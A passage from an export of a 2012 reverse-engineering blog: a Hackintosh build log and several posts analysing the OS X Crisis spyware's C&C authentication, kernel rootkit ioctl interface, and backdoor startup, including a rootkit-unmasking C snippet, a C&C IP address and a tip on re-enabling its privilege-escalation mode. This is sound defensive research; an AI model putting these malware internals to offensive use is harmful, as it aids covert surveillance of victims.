finally here this Monday and I spent the remaining of the morning assembling everything. Power on, and new computer boots at first attempt – I still can assemble computers from scratch!\nThe next phase was to install Mac OS X. I must say I was extremely surprised by how easy it is to put your Hackintosh up \u0026amp; running. I wasn’t expecting such a major hassle free experience. I followed this TonyMacX86 guide for installation and then this one for the configuration details related to my board. I need to use the PCIRootUID=0 boot parameter to have the graphics card to work (not using the HD4000). LifeHacker’s guide here is also very good.\nI had a small problem with the Audio. The first time I installed Multibeast I selected the wrong audio chipset. Then when tried to upgrade to the correct one, audio still wasn’t working. I solved this problem by removing the kext for the wrong audio chipset – both were installed so probably there was a conflict.\nUpdate to 10.8.2 was pretty much painless, although I needed to delete OEMsmbios.kext from FakeSMC due to kernel panics.\nI’m also using the MacPro3,1 profile instead of the iMac one. The reason for this is because iStat has a lot more sensors with the MacPro profile. Geekbench gets the same values from both profiles so it doesn’t seem to make any difference at all. It’s something I need to research a bit and play with. My MultiBeast settings are:\nMy Geekbench 32 bit benchmark gives me around 13500. Others are getting around 14500 so I maybe need some tweaking. My setup has 32gb ram and the 8gb modules have 10-10-10 timings instead of 9-9-9 the 4gb most people use. Another thing to research.\nIt’s still not my main computer but I’m pretty happy with it. The install was easier than expected and all features I need are working. It’s 10x faster than my current MacBook Pro and I have a massive 32gb ram to play with. The 5 seconds boot to prompt is also awesome. I can’t understand how we coped with traditional hard-disks for so long 😉.\nAnd now for my parts list. Only thing missing is the 27″ display. Still undecided between the Dell U2713HM or Samsung S27A850D.\nDESCRIPTION PART # LINK Motherboard Gigabyte GA-Z77X UP5 TH Link CPU Intel Core i7 3770K Link Graphics card Asus GTX560Ti Top 2GB 900Mhz Link Memory Corsair Vengeance Low Profile 4x8GB Link Case Corsair Obsidian 550D Link Power Supply Seasonic X760 Link Cpu cooler Coolermaster Hyper 212 EVO Link SSD Samsung 830 256GB Link Hard Disk WD Caviar Black 2TB Link Wireless Card TP-Link TL-WDN4800 Link The Corsair case is very good at sound isolation. The total number of active fans is 6 and noise level is extremely low with normal usage. Need to push its limits to see how loud it gets.\nI will keep updating this post with some more details and more tips.\nOpen issues:\nWake up on sleep gets USB keyboard confuse for a few seconds, and USB drives are disconnected. It’s a known problem, need to see if I can help finding a solution or something. Rebooting after sleep also gets computer confuse, so button reset to fix it. Some perfomance stats:\nSSD: 404Mb/s write speed, 485Mb/s read, using Black Magic Disk Speed Test Tips:\nIf you want to compile yourself the FakeSMC and related plugins, the up-to-date repo is located at http://subversion.assembla.com/svn/fakesmc/. I tried to do it but then I get stuck on boot with a bunch of unrecognized keys in FakeSMC. To be researched! To enable TRIM on SSDs (the Multibeast option fails for me), just edit /System/Library/Extensions/IOAHCIFamily.kext/Contents/PlugIns/IOAHCIBlockStorage.kext/Contents/MacOS/IOAHCIBlockStorage, lookup for \u0026ldquo;APPLE SSD\u0026rdquo; string (just this one) and make it all NULL bytes. Touch /System/Library/Extensions and reboot. Conclusion: building an Hackintosh isn’t a scary experience (anymore)!\nHave fun,\nfG!\nUpdate:\nI ended up buying the Dell U2713HM. It’s definitely a great monitor and I’m extremely happy with it. The anti-glare coating is great and not very aggressive. The games performance is very good and the only thing I miss is another one because I’m already lacking space on this one. You get used too fast to so much available space.\nAnother issue is the Western Digital Black hard-disk. It produces a lot of vibration and ressonance thru the computer case. It drives you insane after a while. My temporary solution for now was to detach it from the case and sit it over bubble wrap. One solution to this problem is to hang the disk in elastic suspension. I still have to try this method but for now I’m very happy with the bubble wrap solution. There’s the risk of kicking the case but it’s low since its hidden under the desk. Backups to the rescue.\nI also bought recently a Matias Tactile Pro 3 keyboard. I love it but it’s extremely noisy so might not be the best solution if you work at open space or near someone else. This is a very good review, although the described key ringing sound doesn’t happen with mine. I could here it the first time I tested the keyboard but it disappeared (maybe I was primed into hearing it by the review).\nI don\u0026rsquo;t recommend you to buy this keyboard because mine started getting broken switches after a year and so of usage. Matias essentially refused any support on this (let me remind you this allegedly has a million presses switches). Amazon ended refunding half of its price. I was replacing switches often and decided to replace all of them for the silent version. The replacement silent switches appear to be of better quality. Still don\u0026rsquo;t buy this keyboard, Matias support is total crap and quality not worth the price.\n/wp-content/uploads/2012/09/multibeast.png\n","permalink":"https://reverse.put.as/2012/09/27/my-first-hakintosh/","summary":"I really like my non-unibody Macbook Pro (awesome keyboard!) but its 3GB ram limit makes it almost impossible to work with virtual machines, Mac OS VMs in particular.\nI don’t have a need for another laptop and possibilities were between buying a Mac Pro or build my own Hackintosh. Against the Hackintosh is the fact that my patience for small problems doesn’t exist anymore. I just want something that works and does what I need – time is money.","title":"My first Hackintosh"},{"content":"I did yesterday a presentation about OS X Malware at Confraria SI in Lisbon, a monthly meeting between IT sec professionals and enthusiasts.\nThe presentation was an update to the HiTCON version, removing some things about old malware and Flashback tricks, adding Crisis slides and small fixes to stuff here and there.\nEnjoy it 😃\nfG!\nConfraria 2012 Presentation.pdf\n","permalink":"https://reverse.put.as/2012/09/27/os-x-malware-at-confraria-de-seguranca-da-informacao-presentation-slides/","summary":"I did yesterday a presentation about OS X Malware at Confraria SI in Lisbon, a monthly meeting between IT sec professionals and enthusiasts.\nThe presentation was an update to the HiTCON version, removing some things about old malware and Flashback tricks, adding Crisis slides and small fixes to stuff here and there.\nEnjoy it 😃\nfG!\nConfraria 2012 Presentation.pdf","title":"OS X Malware at Confraria de Segurança da Informação presentation slides"},{"content":"This chapter was supposed to be about additional methods to detect OS.X/Crisis but I had the evil idea of taking full control of Crisis, and played with this idea for the last couple of days. It’s pretty damm easy to customize the dropper, and at the limit, be able to deploy your own version of Crisis to anyone. This raises some problematic questions, some of which I was fooling around with at Twitter. To make it clear, I have no intent whatsoever to resell Crisis or something. First because it enters in conflict with my values, and second because it enters a potentially big legal minefield.\nTo me, hacking is all about raising the weird questions, playing with stuff, and experimenting with what others doesn’t see. I would love to have the resources to answer and test the legal minefield just because it’s a curious topic. The world is increasingly dangerous for hacking. It’s sort of a paradox that in a age of fast access to information the trend seems to be running towards making it more difficult to access and spread information. But enough of philosophical questions!\nI will keep researching in private if I have time to. My free time status is going to change soon so things will be different. I still have some very cool ideas to try with Crisis and they would probably generate some interesting articles. We’ll have to wait and see if the environment changes.\nThis post is about the first network communication of Crisis with the C\u0026amp;C server. The reason why I think it’s very useful to write about it is that it opens the possibility for you to build a tool to wipe out Crisis from your network. The infection rates appear to be extremely small and there are some technical problems in this implementation. Still, it’s interesting information that can help you to understand this threat and clean it if applicable.\nThe first packet that the backdoor module sends to the C\u0026amp;C server is an authentication request. In the the sample I have the C\u0026amp;C server was located at the IP address 176.58.100.37. The communication is via HTTP on port 80, with a POST request to /. The contents are encrypted and their size should be always 104 bytes for this request.\nThe method that is responsible for this initial communication is [AuthNetworkOperation perform] (address 0x22A59 at backdoor module). Its task is to collect some data, encrypt it, send to the server, decrypt and process the response, and act or return a value. That act part is what makes this post valuable – there’s a response that will uninstall Crisis from the infected machine. The problem is that this depends on each sample and I will show you why. Credit is due to Crisis* authors, who appear to have done it right regarding this 😄.\nIf you want to dump the contents before encryption, put a breakpoint on address 0x2305F and print the object contained in EAX register.\nLet me show you the contents of two different requests and then explain what’s in there:\nOnly the first 32 bytes are different between the two. The reason is that those initial 32 bytes are data from random(). What is everything else? It’s the backdoor ID (I assume this is some kind of serial number, customized to each customer), the AES key, the target type (OSX or OSX-DEMO) and hashes.\nTo be more specific this is how that data is set:\n16 bytes of random data [16]. 16 bytes of more random data [32]. Backdoor ID string (located at address 0x545D0) (16 bytes field) [48]. SHA1(MachineSerialNumber+Logged on username) [68]. Target type string: OSX or OSX-DEMO (16bytes field) [84]. SHA1(backdoor ID + SHA1(MachineSerial+username) + Target Type + AES Key) [Total 104 bytes]. Now we can see why the remaining bytes are the same between in the two requests. They contain the same information if the source machine and user are the same.\nThe response tells how this information will be used. Its contents must be 64 bytes long. This check is located at 0x230C8, so you may want to patch it if your server is just returning a standard response or something.\nThe response contents will be used to establish a session key, which will probably be used for next requests or something else (haven’t reversed it yet). But there is also a very interesting feature for our defensive purposes, which is to uninstall all traces of the backdoor from the infected computer.\nHow is the session key created? The first 32 bytes of the response are decrypted. A new object is created that will contain the AES key, 16 bytes from those decrypted 32, and the first 16 bytes of the random data sent in the POST request. This data is then hashed with SHA1 and its result is the session key (pointer to object stored at address 0x57694). The last 32 bytes of the server response are then decrypted with this session key and processed. Then we reach the above piece of code with the possibility to remove the infection. We just need to write a small webserver or CGI or something else, that extracts the necessary data from the request and sends a valid response to uninstall Crisis. The C\u0026amp;C server configuration is IP only so you can redirect the requests by doing NAT on the address, redirecting it to the uninstall server.\nNow you can understand why this is only possible for a specific sample of Crisis. We need the AES key that is contained inside the backdoor module. Without it we can’t build the correct response, assuming that each delivered copy will use a different key. If not they f*cked up again and it’s a win for us 😃.\nThis tool doesn’t yet exist but I will post it later to github repo.\nThat’s it for this post. It allows us to use Crisis own features to wipe it out from infected systems. Useful feature, I think!\nEnjoy,\nfG!\n","permalink":"https://reverse.put.as/2012/08/26/tales-from-crisis-chapter-4-a-ghost-in-the-network/","summary":"This chapter was supposed to be about additional methods to detect OS.X/Crisis but I had the evil idea of taking full control of Crisis, and played with this idea for the last couple of days. It’s pretty damm easy to customize the dropper, and at the limit, be able to deploy your own version of Crisis to anyone. This raises some problematic questions, some of which I was fooling around with at Twitter.","title":"Tales from Crisis, Chapter 4: A ghost in the network"},{"content":"I always had some strange attraction to rootkits and was thrilled to hear that Crisis had one. This chapter is dedicated to the rootkit implementation, its tricks and how it’s controlled (and its fuckups!).\nA small disclosure note about me making fun of Italians on Twitter. I love Italy and have nothing against Italians. We just share some cultural things that I really hate and that’s the reason why I was making fun of Crisis origins and some of its design/features. It’s no coincidence that the South European countries are all in economic trouble 😉.\nThe rootkit number of features is very small: it can hide processes, files, and itself. Two versions are available for 32 and 64 bit kernels (this post is about the 32 bit version using Snow Leopard). Implementation is very simple and has some flaws that I will describe later.\nThe main feature that got me interested was hiding itself from kextstat because this needs to be done by modifying the sLoadedKexts array (the old kmod list is not enough anymore since it’s deprecated).\nIt doesn’t seem an easy job to find the location of this symbol and Crisis kind of cheats in doing it. What happens is that the userland backdoor module will solve the kernel symbols and pass them to the kernel module. Done this way it’s very easy to accomplish, although compatibility with future kernel releases might be in jeopardy if sLoadedKexts is modified.\nThe main reason for this to be done this way is that __LINKEDIT is removed in Snow Leopard and previous versions so you can’t search the symbol table inside the kernel module. Lion behaves differently – doesn’t remove it but marks this segment as pageable to disk – so it’s possible to solve the symbols inside the kext without any external help. If I’m not mistaken, Mountain Lion maintains this last behavior. The following screenshot shows the rootkit initialization from the userland backdoor:\nBefore continuing with the userland\u0026lt;-\u0026gt;kernel interaction let me show you the rootkit startup flow because it helps to understand its design.\nThe startup function is called mchook_start and does nothing besides creating a character device called /dev/pfCPU. This is the communication channel with the rootkit and contains commands to hide files, transfer solved symbols, stop rootkit activities, etc.\nOne funny detail is that there’s no identification/authentication/crypto/etc whatsoever, so anyone can send commands to the rootkit using the ioctl() function with the supported requested IDs and parameters. I left a very simple IDC script at github called dump_ioctl_param.idc that will dump all ioctl requests sent by the backdoor module.\nYou can easily detect if machine is rootkit infected by doing an open() on /dev/pfCPU. If return value is non-negative than the rootkit is most probably installed.\nOnly three functions from struct cdevsw are implemented, d_open, d_close, d_ioctl. The last one is where all the magic happens – it’s responsible for processing the ioctl requests from the userland module (implemented as cdev_ioctl at address 0xB44).\nNext screenshot is a sample of cdev_ioctl function. The ioctl request 0x207bee7a will hide the rootkit from kextstat and similar tools.\nLet’s go back to the userland to demonstrate the first defect in this rootkit. The connection between userland and kernel is initialized by calling the method connectKext. This method sends the request 0x80FF6B26 to the /dev/pfCPU device, and the logon name of the current user as a parameter. Inside the kernel module, the name parameter is truncated to 20 bytes and passed as an argument to function backdoor_init. I did not reversed this function but it seems to use the username as an identifier.\nSince there’s no authentication to send ioctl request to the rootkit we can easily test what happens if we send those requests from our own app. This reveals the first big problem – sending again the 0x80FF6B26 request will get the rootkit to show its hidden files and processes. The logon name of the user should be sent as the second parameter, since it’s the “key” to “authentication”. A simple C program to demonstrate this:\n#include \u0026lt;sys/ioctl.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; int main(void) { int fd = open(\u0026#34;/dev/pfCPU\u0026#34;, O_RDWR); if (fd == -1) { printf(\u0026#34;Failed to open rootkit device!\\n\u0026#34;); return(1); } int ret = ioctl(fd, 0x80ff6b26, \u0026#34;reverser\u0026#34;); if (ret == -1) printf(\u0026#34;ioctl failed!\\n\u0026#34;); else printf(\u0026#34;os.x crisis rootkit unmasked!\\n\u0026#34;); } After a successful connection to the rootkit, the next step is to solve the necessary kernel symbols so the rootkit can do its magic. The method responsible for this is _solveKernelSymbolsForKext at address 0xe056, and supports 32 and 64 bit symbol versions.\nIt opens and mmaps /mach_kernel, verifies if connection to rootkit is available via the file descriptor to /dev/pfCPU, starts solving symbols and sends them to the rootkit via ioctl calls.\nAn example of the first symbol to be solved:\nThe ioctl request for 32 bit symbols is 0x807AEEBF and 0x807AEEC0 for 64 bit. One somewhat cute trick is happening here. IDA identified the prototype for rootkit cdev_ioctl function as: int __cdecl cdev_ioctl(int, int command, char *string, int, int). The third argument to ioctl is composed by the hash of the symbol to be solved (0xDD2C36D6 in this case) and the returned symbol address from _findSymbolInFatBinary. The trick is that all addresses of kernel symbols terminate with a null value, so this works. I find it cute.\nThe kernel side for this is very simple. It matches the hash and then moves the symbol address into a variable. By the way, the symbol hashing algorithm used is the same as in the dropper. The following symbols are solved:\nallproc tasks nsysent kmod tasks_count nprocs tasks_threads_lock proc_lock proc_unlock proc_list_lock proc_list_unlock _ZN6OSKext21lookupKextWithLoadTagEj (OSKext::lookupKextWithLoadTag) IORecursiveLockLock After all this, another command is issued 0x807f6b0a which verifies if all symbols were solved and its variables are non-zero.\nNext step is to hide the critical rootkit files from ls \u0026amp; friends. Allow me to do justice to my Italian \u0026ldquo;friends\u0026rdquo;. I tweeted that there were problems with a fixed space for a N number of files to be hidden. I just double checked and I was mistaken. I was fooled at the time by the rootkit design. The 0x80FF6B26 ioctl request that was used to unmask the rootkit is some kind of session initializer. So, every time you want to send a command to the rootkit you need to initialize the session and send all commands. For example, you need to send the hide file command for all files each time you want to control the rootkit. Contrary to Italian design tradition, this is (in my opinion!) poor design and not a very dynamic rootkit.\nFiles and folder will be hidden system wide. For example, if zero is configured to be hidden, any files or folders named zero anywhere in the filesystem will be hidden. I would prefer something more precise to increase stealthness. Backdoor module will command the rootkit to hide \u0026ldquo;com.apple.mdworker.plist\u0026rdquo;, \u0026ldquo;jlc3V7we.app\u0026rdquo;, \u0026ldquo;pfCPU\u0026rdquo;, \u0026ldquo;appleHID\u0026rdquo;.\nThe initial interaction of userland module with the rootkit will end with two more requests, one that calls a hide_proc function in the rootkit (I couldn’t understand yet what is the effect, since the parameter is the username), and another to hide the rootkit from kextstat.\nREQUEST VALUE ARGUMENTS DESCRIPTION 0x207bee7a None Hide kernel extension 0x407e6b23 1 called from uninstallMeh, ? 0x807aeebf hash and symbol address into a char* transfer solved symbol info, 32 bit 0x807aeec0 hash and symbol address into a char* transfer solved symbol info, 64 bit 0x807e7fc2 file/dir name hide file or dir 0x807f6b0a os major \u0026amp; minor versions check if all symbols were solved 0x807ffb23 username stop backdoor? unhides procs, removes hooks. 0x80ff6b26 username init rootkit session 0x80ff6fdc username calls hide_proc in rootkit? This ends the interesting stuff from userland\u0026lt;-\u0026gt;rootkit interaction. The last point I want to develop in this post is how the rootkit hides from kexstat. Contrary to what I wrote in previous posts (already fixed), Crisis does support Leopard. The rootkit has a function called hide_kext_leopard that removes the rootkit from kmod list – the old and deprecated way to do it. That’s not the interesting function! That role is reserved for hide_kext_osarray.\nIn Snow Leopard and beyond the kernel modules list is located in sLoadedKexts (an OSArray of OSKext, check libkern/c++/OSKext.cpp from XNU source). There is no symbol for sLoadedKexts so finding it is not straightforward. Snare suggestd to look for OSArrays (defined at libkern/libkern/c++/OSArray.h) and find one full of OSKexts, or work backwards from the kmod that the kext start function gets passed. Another alternative way is to find some piece of stable code and retrieve the address of sLoadedKexts. As I previously stated, this is easier in Lion or newer because we can solve symbols in memory. Crisis uses this trick assisted by the userland module to solve the symbol OSKext::lookupKextWithLoadTag (ZN6OSKext21lookupKextWithLoadTagEj). The code for that method is pretty simple and I assume stable between many versions.\nThe corresponding disassembly in Snow Leopard 10.6.8 is:\nCrisis starts looking up for the first 0xE8 byte belonging to IORecursiveLockLock call so it can extract the address of sLoadedKexts. One curious thing here is that the symbol IORecursiveLockLock was solved by the userland module but it’s not used or stored inside the rootkit. It could assist in verifying that the right call was found (maybe something they were thinking about but forgot to implement).\nWith a pointer to sLoadedKexts found it’s a matter of getting the array location inside OSArray class (16 bytes away from symbol address) and start searching for the com.apple.mdworker string. If it’s found than the total kext count is decreased!\nThis gives us more ammunition to poke fun at the Italians. Since they are decreasing the total count of kernel extensions what happens if we load another kext? It will f*ck up kextstat and tell us there’s a hidden rootkit! A picture is worth a thousand words:\nSince we are on a roll, let’s continue to make fun out of the Italian friends. If you attach GDB to the kernel (use the awesome GDB stub described at Snare’s post), and use the Kernel Debug Kit macros (kgmacros), then you can use the showalltasks to display the hidden userland backdoor module. They forgot to hide the Mach task so only the BSD layer is being hidden. I think it may be possible to use the mach* functions to do the same from userland and find the backdoor task – need to do some research on this.\nThe code to hide files and folders is pretty standard – hook getdirentries* stuff and hide whatever you want, and the same for process hiding – play with allproc LIST and remove whatever you need to.\nThere isn’t much else to reverse or at least interesting to me regarding the rootkit. Maybe some internal implementation details of its database and some flags but nothing that I think it’s relevant or important (or just too lazy to reverse them).\nMy conclusion is that someone is paying 200k or whatever high price for this and in return is getting a poorly designed rootkit that can be easily detected and unmasked. That doesn’t necessarily mean that it wasn’t effective in stealing information from someone! I just have high standards and it annoys me to see this kind of badly designed stuff, especially when they probably had enough resources to do something better. The upside of this is that I could make fun out of them 😃.\nI was reworking Dino’s uncloak tool presented at BH 2009 to detect the rootkit from userland. It requires a patch to the kernel to enable task_for_pid(0). I need to finish it and probably will talk about it in another post.\nThat’s it for now. I really enjoyed writing this post and I hope you enjoy reading it (I still need to improve the writing style).\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2012/08/21/tales-from-crisis-chapter-3-the-italian-rootkit-job/","summary":"I always had some strange attraction to rootkits and was thrilled to hear that Crisis had one. This chapter is dedicated to the rootkit implementation, its tricks and how it’s controlled (and its fuckups!).\nA small disclosure note about me making fun of Italians on Twitter. I love Italy and have nothing against Italians. We just share some cultural things that I really hate and that’s the reason why I was making fun of Crisis origins and some of its design/features.","title":"Tales from Crisis, Chapter 3: The Italian Rootkit Job"},{"content":"Let’s continue our cute story about OS.X/Crisis, this time with the startup flow of the main backdoor module. Please apologize for the delay on this chapter – I had some fun with the rootkit and that diverted me to other things.\nThe first curious detail about the backdoor module (installed as /Users/USERNAME/Library/Preferences/jlc3V7we.app/IZsROY7X.-MP) is that no obfuscation/anti-debugging tricks are used (except one) so its analysis is easier than the dropper. It also uses Objective-C heavily, which is still a bit annoying in IDA but has the advantage of the code being very descriptive.\nThe main() starts at 0x3B5C and the start of hostilities is with overriding asl_send() function using mach_override package. This is a function of Apple System Log facility, a replacement for the syslog API. The objective is to avoid error \u0026amp; warning messages to be written to the log files.\nThe replacement function does nothing besides returning 1, a failure value.\nA command-line argument is supported by this module (at least one variant of Flashback’s dropper also had arguments). Its syntax is -p PID. The PID argument will be passed to a function named _lionSendEventToPid. I just skimmed thru its contents and its main purpose is to send a kASAppleScriptSuite/kGetAEUT (ascr/gdut) event to the target PID. This event loads scripting additions in that process (this post and this note explain what happens in detail). The backdoor will exit after calling this function.\nThe next step is to verify is a file called off.flg exists at the backdoor executable location, /Users/USERNAME/Library/Preferences/jlc3V7we.app/.\nIf it does exist, then the following will happen:\nRemove off.flg file. Call method makeBackdoorResident, which will create the Launch Agent com.apple.mdworker.plist at ~/Library/LaunchAgents. This will be responsible for starting the backdoor module. Launch again the backdoor module, using a method called executeTask:withArguments:waitUntilEnd:. Try to remove the “old” com.apple.mdworker launchctl job. Exit the current backdoor module execution. When off.flg does not exist anymore the backdoor will enter into its core startup code with a method called runMeh (starts at address 0xFBFC). Before this happens there is a classic anti-debugging trick – our “old” friend AmIBeingDebugged sysctl. The method detachNewThreadSelector:toTarget:withObject: is called with the selector xfrth (address 0xf09b). This is essentially a new thread using the sysctl trick to detect the debugger and sleeping for 50 seconds until next check.\nYou can easily skip this by NOP’ing the call at address 0x3F26 or breakpoint on that address and set EIP to address 0x3F2B. The following GDB scripted breakpoint does the job:\nb *0x3F26 command 1 set $eip=0x3f2b tb *0x3f2b c end These initial features are somewhat weird because they are duplicated inside runMeh method. Most probably it’s some debug feature?\nLet’s move ahead to the juicy stuff 😄.\nThe first important operation that is executed is to verify if the current OS is supported, using getSystemVersionMajor:minor:bugFix: method. Lion and Snow Leopard are valid targets, but also Leopard (Intego says it’s crash-prone there). That method uses Gestalt to retrieve the OS information (the original source code is available here, from CocoaDev. Many thanks to @fdfalcon for noticing the mistake below since it’s a JB and not a JBE (I manipulated myself into believing Leopard wasn’t supported hehehe). What happens is that Leopard support is not explicit in userland code, but there are specific functions for it in the rootkit.\nIt is followed by a components upgrade feature with a catchy method named called shouldUpgradeComponents. What happens here is that 3 filenames are verified to exist and if they do, they will replace the old files with the new versions. The config file and the input manager can be upgraded and I can’t find the correspondence to the third file – there are no immediate operations on it. The following table describes the relation between the files and components.\nUPDATE FILENAME TARGET FILENAME DESCRIPTION nc-7-8dv.cfg eiYNz1gd.Cfp Configuration file od-8-8dv.dlb lUnsA3Ci.Bz7 input manager pe-9-8dv.cpx N/A ??? If the file /Users/USERNAME/Library/Preferences/jlc3V7we.app/00 exists then the method makeBackdoorResident will be called. Execution will continue with a method called _resizeSharedMemoryWindow. Here some kernel shared memory settings will be changed. They are kern.sysv.shmmax, kern.sysv.shmall. Since this requires root privileges, it will only work if the backdoor module was installed as root. More on this later.\nMy guess is that the shared memory will be used by the spy module to communicate with the main module (especially from sandboxed applications?).\nIf you want to debug the backdoor module in a already infected machine, you need to be careful with the method _checkForOthers that follows. It will check if the backdoor module is already running by launchctl so you may want to skip the call at address 0xFDF3 (scripted GDB breakpoint or patching to the rescue!).\nTwo operations modes appear to be supported and the active mode is hardcoded into the backdoor module. There is a symbol called _gMode that points to a string located at address 0x54640. This string can be either Ah56K or Ah57K – my sample contains the first one.\nThe difference between the two modes is that the Ah56K mode does not try to escalate privileges, while the other one tries it using a spoofed authentication dialog with System Preferences icon (this is the image contained in the TIFF file created by the dropper). The trick here is that the backdoor executable creates a copy of itself named System Preferences and launches it.\nThis explains why I couldn’t get the rootkit to be installed with my sample even when running the dropper as root. I had to manually SUID the backdoor module and patch some stuff to get it installed. If you modify the string to Ah57K at the dropper (file offset 0x57FFB) and run the dropper as a normal user, you will get the above dialog and the rootkit installed (you can’t see anymore the backdoor folder at ~/Library/Preferences and other hidden stuff).\nBoth modes verify if a filename mdworker.flg file exists and will create it if not. It’s a zero bytes file to signal if the backdoor module is installed as a LaunchAgent.\nIf mode is Ah57K and target is Snow Leopard then the method _UISpoof will be called. Here the System Preferences backdoor copy will be made and launched, the mdworker.flg will be set, and also make the backdoor module SUID root.\nIf mode is Ah57K and target is Lion, the /etc/authorization file will be modified by the method enableSetugidAuth. It modifies the privilege system.privilege.setugid_appkit, which will allow AppKit apps to run setuid/setgid (the backdoor module will be set SUID root if higher privileges are obtained). I haven’t tested this with Lion so I’m not sure how it works here (I don’t see the code path to call _UISpoof for Lion). Blame my old 3GB ram MBP.\nAfter all this fuss, the ~/Library/LaunchAgents folder will be created if it does not already exist, and backdoor plist existence verified by method isBackdoorAlreadyResident. If answer is negative our old friend makeBackdoorResident will be called.\nThe spoofed System Preferences is used only to escalate privileges. Due to this, a check is made before creating the shared memory segment – only created if we are running in “normal” backdoor mode. Shared memory is created and initialized by the method _createAndInitSharedMemory, located at address 0xCAA5.\nIf mdworker.flg is found then the method _createInternalFilesAndFolders will be called. Its name is pretty self describing. It will create the rootkit bundle, located at /Users/USERNAME/Library/Preferences/jlc3V7we.app/Contents/Resources/WeP1xpBU.wA-.kext, fix the permissions to root:wheel, and also create the Info.plist for the backdoor module (don’t know why since the Contents folder only executable is the kext inside Resources).\nNext task is to install the Input Manager (method _dropOsaxBundle, address 0xd871). It will be located at /Users/USERNAME/Library/ScriptingAdditions/appleHID, and it’s one of the upgradeable components. I haven’t reversed yet this bundle but I’m pretty sure it’s the spying component being injected into applications.\nThe folder /System/Library/Frameworks/Foundation.framework/XPCServices/ referred in some AV posts is only used if target OS is Lion and backdoor has root privileges.\nA new thread is created to capture shutdown notifications. I’m not sure why the interest in being notified on shutdowns. The method name is _registerForShutdownNotifications at 0xE80E).\nIf the backdoor is running as root, it will try to connect to the rootkit or load it if connection failed. I will leave this part for Chapter 3, dedicated to the rootkit.\nThe OsaxBundle will be injected into running applications (method injectRunningApp) by listing them and sending the kASAppleScriptSuite/kGetAEUT (ascr/gdut) event. Two notifiers will be installed by the backdoor, one for DidLaunchApplication and another for DidTerminateApplication. The former will use the selector injectBundle: and the later **willStopCrisis: ** (oh, there’s the Crisis name 😃).\nConfiguration files will be loaded, loadInitialConfiguration, and backdoor status changed to Running. I haven’t decrypted yet the configuration files (it uses AES128 and CCCrypt() function). One interesting thing is a check for the demo mode. A quick lookup at the method involved here and it seems to set background to a probably descriptive name called infected.bmp.\nThe last interesting bit is the method name called _communicateWithAgents. It’s big and still not reversed but it seems to involve shared memory, so I dare to speculate that agents are the infected applications with the spying module, which dump information to the main backdoor module or it could be the logging agents that will receive events from infected apps. It will be the subject of a chapter if I have time and motivation to reverse it.\nAnd this ends Chapter 2! It’s a very long post, which forced me to reverse and look into quite a few things that I didn’t on the first run. It was a good exercise for me and I hope it’s interesting information for you.\nThe next chapter will be dedicated to the rootkit, the component that I was most interested at when I heard about Crisis. It should be a fun post.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2012/08/20/tales-from-crisis-chapter-2-backdoors-first-steps/","summary":"Let’s continue our cute story about OS.X/Crisis, this time with the startup flow of the main backdoor module. Please apologize for the delay on this chapter – I had some fun with the rootkit and that diverted me to other things.\nThe first curious detail about the backdoor module (installed as /Users/USERNAME/Library/Preferences/jlc3V7we.app/IZsROY7X.-MP) is that no obfuscation/anti-debugging tricks are used (except one) so its analysis is easier than the dropper. It also uses Objective-C heavily, which is still a bit annoying in IDA but has the advantage of the code being very descriptive.","title":"Tales from Crisis, Chapter 2: Backdoor’s first steps"},{"content":"Mac malware is back to news spotlight, this time with Crisis (insert one of the other thousand names here _____). This malware is nothing more than commercial spy software being sold by a lot of money to governments or something (oh boy, I could make a good living out of this).\nI’m lucky enough to have a sample of it (thank you, you know who you are!) and also lucky to be able to talk about it (it uses some similar tricks that I knew about).\nThis post is very long so I decided to change its format. The main page will just display the beginning of the article and you need to click to read the rest. I’m not a great fan of this solution, although most blog readers are from RSS feed. Let’s give it a try with these long articles.\nI started reversing Crisis because I’m mostly interested in the rootkit. It is able to hide itself by modifying sLoadedKexts, something that I briefly attempted and failed in the past. More on that in next posts.\nCrisis has a dropper application that is responsible for installing the backdoors, spy modules and rootkit. It’s a x86 Mach-O binary, with SHA256 checksum of 10fa7fa952dfc933b96d92ccd254a7655840250a787a1b4d9889bf2f70153791.\nThe first interesting detail is a segment called __INIT_STUB with code execution permissions (that’s why I recommend you to always give a look at the headers). This is unusual and you understand why if you look at the entrypoint, 0x0000409c – it’s located inside that segment.\nIt was fun to reverse the dropper – some of the tricks are described at my presentation slides!\nSystem calls are executed via the classic interrupt 80 call. There’s no obfuscation of the call being made so it’s a matter of cross referencing with XNU syscall list (available at xnu_source/bsd/kern/syscall.h). A small example right at the beginning, in this case a bogus handler is being set for SIGSEV (to avoid core dumps?).\nThe next step is to find dyld address in process memory. This will be used to manually solve symbols using a simple hashing algorithm. It uses the fact that dyld is the first image in a process and can be easily located even with ASLR. It can be done by starting to search at address 0x8FE00000 for Mach-O magic value 0xFEEDFACE for 32 bit processes.\nCrisis explicitly supports Snow Leopard (10.6) and Lion (10.7). Leopard support appears to be implicit (probably that’s why Intego calls it crash-prone). Confirmation comes from the fact that /System/Library/CoreServices/SystemVersion.plist is read and processed. The string \u0026quot;\u0026gt;10.\u0026quot; is searched for and if found, the next character is read, which is the current Mac OS X version installed on target system. A local variable is set, 1 if Snow Leopard, 2 for Lion.\nWith this information it can proceed to solve the symbols it needs. This is where things get a bit more interesting. First it will try to mmap some files, which are Lion specific due to symbols removal from dyld (I’m doing this by memory but I think I’m not mistaken here!). Then it will push a 32bits hash into a function to find the symbol from dyld. There are two functions, one for Snow Leopard and another for Lion.\nI’m still using Snow Leopard so analysis will be presented on its specific functions. The function that I labeled find_symbol_from_dyld_SL will process the dyld header, looking for the __LINKEDIT segment and then search for the symbol requested to be found – the two arguments are the symbol’s hash and dyld base address previously found. The hash algorithm can be found at address 0x4363. It’s a very simple algorithm as you can see from the following C implementation:\nUpdate: Dcoder pointed me to the fact that this hash function is sdbm. Thanks for the tip 😃.\nThe piece of code that is processing dyld Mach-O header searching for __LINKEDIT segment:\nWith the hash algorithm reversed we can easily find the dyld symbols that are trying to be solved (there are a couple more next). One easy way is to use nm to dump /usr/lib/dyld symbols and feed them to that sample algorithm implementation. Then you can load those pairs into IDA database and write a quick IDC script to find and comment the symbol hash (or just use IDAPython for everything).\nThe first symbols from dyld to be solved are: __dyld_image_count, __dyld_get_image_name, __dyld_get_image_header. The first one returns the total number of images mapped by dyld, the second the image name at the given image index and the last one a pointer to the Mach-O header of the given image index. For more details do a man 3 dyld.\nThese dyld symbols will be used to iterate thru all the loaded images in this process and search for /usr/lib/libSystem.B.dylib. When the base address of this 